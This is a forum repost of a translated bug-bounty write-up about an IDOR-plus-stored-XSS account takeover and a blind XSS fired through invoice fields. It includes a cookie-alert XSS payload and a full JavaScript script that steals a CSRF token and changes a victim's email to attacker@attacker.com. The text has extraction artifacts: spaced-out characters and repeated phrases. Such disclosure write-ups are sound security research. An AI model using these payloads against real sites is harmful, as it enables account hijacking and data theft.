搜索

[12811] 2018-06-10_记我的一次账号劫持和BLINDXSS漏洞发现过程

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2018-06-10_记我的一次账号劫持和BLINDXSS漏洞发现过程 记 我 的 一 次 账 号 劫 持 和 B L I N D   X S S 漏 洞 发 现 过 程 c l o u d s   F r e e B u f   2 0 1 8 - 0 6 - 1 0 大 家 好 ， 本 文 我 要 分 享 的 是 我 参 与 大 家 好 ， 本 文 我 要 分 享 的 是 我 参 与 H a c k e r o n e 某 邀 请 项 目 ， 通 过 目 标 测 试 网 站 的 高 级 功 能 模 块 （ 某 邀 请 项 目 ， 通 过 目 标 测 试 网 站 的 高 级 功 能 模 块 （ P R O f e a t u r e s ） 实 现 了 更 多 攻 击 面 测 试 ， 并 发 现 了 两 个 严 重 漏 洞 ， 获 得 了 ） 实 现 了 更 多 攻 击 面 测 试 ， 并 发 现 了 两 个 严 重 漏 洞 ， 获 得 了 $ 7 0 0 0 美 金 的 不 菲 奖 励 。 美 金 的 不 菲 奖 励 。 第 一 个 漏 洞 第 一 个 漏 洞 - 账 号 劫 持 账 号 劫 持 我 发 现 的 第 一 个 漏 洞 就 是 不 安 全 对 象 引 用 漏 洞 （ I D O R ） ， 利 用 该 漏 洞 我 能 在 每 个 账 户 中 创 建 一 个   e l e m e n t   x 元 素 ， 经 过 和 朋 友 的 交 流 ， 他 建 议 我 可 以 试 试 在 其 中 注 入 一 些   j a v a s c r i p t   脚 本 ， 于 是 我 就 在 某 文 本 区 域 的   e l e m e n t   x   中 插 入 了 以 下 P a y l o a d 脚 本 ， 实 现 了 用 X S S 方 式 对 账 户 c o o k i e 的 读 取 。 ‘ % 2 2 % 3 E % 3 C i m g + s r c % 3 D x + o n e r r o r % 3 D a l e r t ( d o c u m e n t . c o o k i e ) % 3 E I D O R ： 不 安 全 的 直 接 对 象 引 用 允 许 攻 击 者 绕 过 网 站 的 身 份 验 证 机 制 ， 并 通 过 修 改 指 向 对 象 链 接 中 的 参 数 值 来 直 接 访 问 目 标 对 象 资 源 ， 这 类 资 源 可 以 是 属 于 其 他 用 户 的 数 据 库 条 目 以 及 服 务 器 系 统 中 的 隐 私 文 件 等 等 。 导 致 这 种 情 况 出 现 的 原 因 是 ， 系 统 在 接 受 用 户 输 入 并 利 用 输 入 信 息 获 取 对 象 之 前 没 有 对 用 户 身 份 权 限 进 行 检 测 。 现 在 ， 有 了 这 种 I D O R 漏 洞 下 的 存 储 型 X S S 利 用 路 径 ， 而 且 目 标 测 试 网 站 又 没 有 设 置 C S P 的 白 名 单 机 制 ， 因 此 我 可 以 构 造 一 段 小 脚 本 ， 让 这 段 脚 本 来 窃 取 受 害 用 户 的 C S R F 令 牌 认 证 信 息 （ C S R F   t o k e n ） ， 这 样 可 以 修 改 其 e m a i l I D 或 以 管 理 员 身 份 把 对 方 添 加 为 好 友 ， 间 接 实 现 对 受 害 者 的 账 户 劫 持 。 与 I D O R 漏 洞 利 用 相 同 ，   j a v a s c r i p t   脚 本 可 以 在 所 有 账 户 中 实 现 远 程 存 储 ， 然 后 通 过 构 造 运 行 ， 实 现 对 所 有 目 标 网 站 注 册 账 户 的 劫 持 ， 这 就 是 X S S 和 I D O R 漏 洞 的 结 合 威 力 。 我 最 终 的   j a v a s c r i p t   P a y l o a d 利 用 脚 本 如 下 ：
这 个 脚 本 中 ， 我 能 从 … p e r s o n a l / u p d a t e _ e m a i l . h t m l 的 账 户 页 面 中 读 取   i n p u t   元 素 的   c s r f   t o k e n   ， 然 后 利 用   h a c k ( )   函 数 来 把 这 个 窃 取 来 的   c s r f   t o k e n 发 送 一 个 更 改 用 户 e m a i l   I D 的 P O S T 请 求 ， 最 终 实 现 账 户 劫 持 。 上 报 这 个 漏 洞 之 后 ， 厂 商 团 队 马 上 就 进 行 了 修 复 ， 之 后 ， 我 也 获 得 了 奖 励 的 $ 3 5 0 0 赏 金 。 第 二 个 漏 洞 第 二 个 漏 洞   -   B L I N D   X S S 由 于 目 标 测 试 网 站 开 通 有 付 费 版 的 专 业 高 级 功 能 模 块 ， 所 以 我 决 定 付 钱 来 购 买 进 行 测 试 。 这 个 购 买 付 费 方 式 有 两 种 ， 也 即 信 用 卡 和 银 行 转 账 。 在 银 行 转 账 方 式 中 ， 会 生 成 一 个 电 子 发 票 并 能 按 照 用 户 在 记 账 时 输 入 的 姓 名 邮 箱 地 址 等 信 息 ， 以 电 邮 方 式 发 送 到 用 户 邮 箱 中 。 因 此 ， 在 p d f 电 子 发 票 的 生 成 过 程 中 ， 我 可 以 尝 试 着 在 其 中 注 入 一 些 h t m l 元 素 来 看 看 是 否 能 间 接 执 行 脚 本 ， 但 是 ， 这 种 方 式 是 行 不 通 的 。 之 后 ， 我 就 在 其 中 插 入 了 一 个 利 用   X S S H u n t e r   生 成 的   B L I N D   X S S   P a y l o a d ， 一 切 就 静 等 上 钩 吧 。 几 天 之 后 ， 我 无 意 间 浏 览 了 我 的 X S S H u n t e r 账 户 ， 出 乎 意 料 地 发 现 ， 那 段 插 入 的 B L I N D   X S S   P a y l o a d 竟 然 在 目 标 测 试 网 站 的 控 制 面 板 管 理 区 域 被 成 功 触 发 了 ！ X S S   P a y l o a d 成 功 执 行 的 同 时 ， 也 一 起 生 成 了 p d f 的 电 子 发 票 ， 也 就 是 在 这 种 电 子 发 票 自 动 生 成 过 程 中 ， 系 统 未 对 输 入 作 安 全 过 滤 ， 导 致 可 以 执 行 X S S   P a y l o a d 。 通 过 这 种 测 试 方 式 ， 我 能 查 看 到 将 近 1 0 0 0 多 名 顾 客 的 电 子 发 票 记 录 和 信 息 。 以 下 显 示 的 是 姓 名 和 地 址 字 段 的 X S S 触 发 信 息 ： 上 报 了 这 个 漏 洞 之 后 ， 我 又 获 得 了 厂 商 团 队   $ 3 5 0 0   美 金 的 奖 励 。 * 参 考 来 源 ： 参 考 来 源 ： w i t c o a t ， ， F r e e B u f   小 编 小 编   c l o u d s   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自   F r e e B u f . C O M f u n c t i o n   s t e a l E m a i l T o k e n ( ) { v a r   f e t c h H a s h   =   n e w   X M L H t t p R e q u e s t ( ) ; v a r   u r l   =   " h t t p s : / / - - d o m a i n - - / - - p a t h - - / p e r s o n a l / u p d a t e _ e m a i l . h t m l " ; v a r   d a t a x ; v a r   a l l _ e l e m e n t s ; v a r   v c _ e m a i l _ t o k e n = ' i n i t i a l ' ; f e t c h H a s h . o n r e a d y s t a t e c h a n g e = f u n c t i o n   ( ) { i f ( f e t c h H a s h . r e a d y S t a t e = = 4   & &   f e t c h H a s h . s t a t u s = = 2 0 0 ) { d a t a x   =   f e t c h H a s h . r e s p o n s e T e x t ; v a r   l o o t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' h t m l ' ) ; l o o t . i n n e r H T M L   =   d a t a x ; a l l _ e l e m e n t s   =   l o o t . g e t E l e m e n t s B y T a g N a m e (   ' i n p u t '   ) ; v c _ e m a i l _ t o k e n   =   a l l _ e l e m e n t s [ 2 ] . v a l u e ; a l e r t ( ' S t o l e   y o u r   E m a i l   c h a n g e   T o k e n :   ' + v c _ e m a i l _ t o k e n + '   . . . T a b a h i ' ) ; / / h a c k ( v c _ e m a i l _ t o k e n ) ; } } f e t c h H a s h . o p e n ( " G E T " , u r l ,   t r u e ) ; f e t c h H a s h . w i t h C r e d e n t i a l s = t r u e ; f e t c h H a s h . s e n d ( ) ; } s t e a l E m a i l T o k e n ( ) ; f u n c t i o n   h a c k ( e m a i l T o k e n ) { v a r   H a c k A c c o u n t   =   n e w   X M L H t t p R e q u e s t ( ) ; u r l =   " h t t p s : / / - - d o m a i n - - / - - p a t h - - / p e r s o n a l / u p d a t e _ e m a i l . h t m l " ; H a c k A c c o u n t   . o p e n ( " P O S T " , u r l ,   t r u e ) ; H a c k A c c o u n t   . w i t h C r e d e n t i a l s = t r u e ; v a r   d a t a =   ' A c c o u n t E m a i l F o r m % 5 B s E m a i l % 5 D % 5 B f i r s t % 5 D = a t t a c k e r % 4 0 a t t a c k e r . c o m & A c c o u n t E m a i l F o r m % 5 B s E m a i l % 5 D % 5 B s e c o n d % 5 D = a t t a c k e r % 4 0 a t t a c k e r . c o m & A c c o u n t E m a i l F o r m % 5 B _ t o k e n % 5 D = ' + e m a i l T o k e n   ; H a c k A c c o u n t   . s e t R e q u e s t H e a d e r ( ' X - R e q u e s t e d - W i t h ' , ' X M L H t t p R e q u e s t ' ) ; H a c k A c c o u n t   . s e t R e q u e s t H e a d e r ( ' C o n t e n t - T y p e ' , ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' ) ; H a c k A c c o u n t   . s e n d ( d a t a ) ; }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理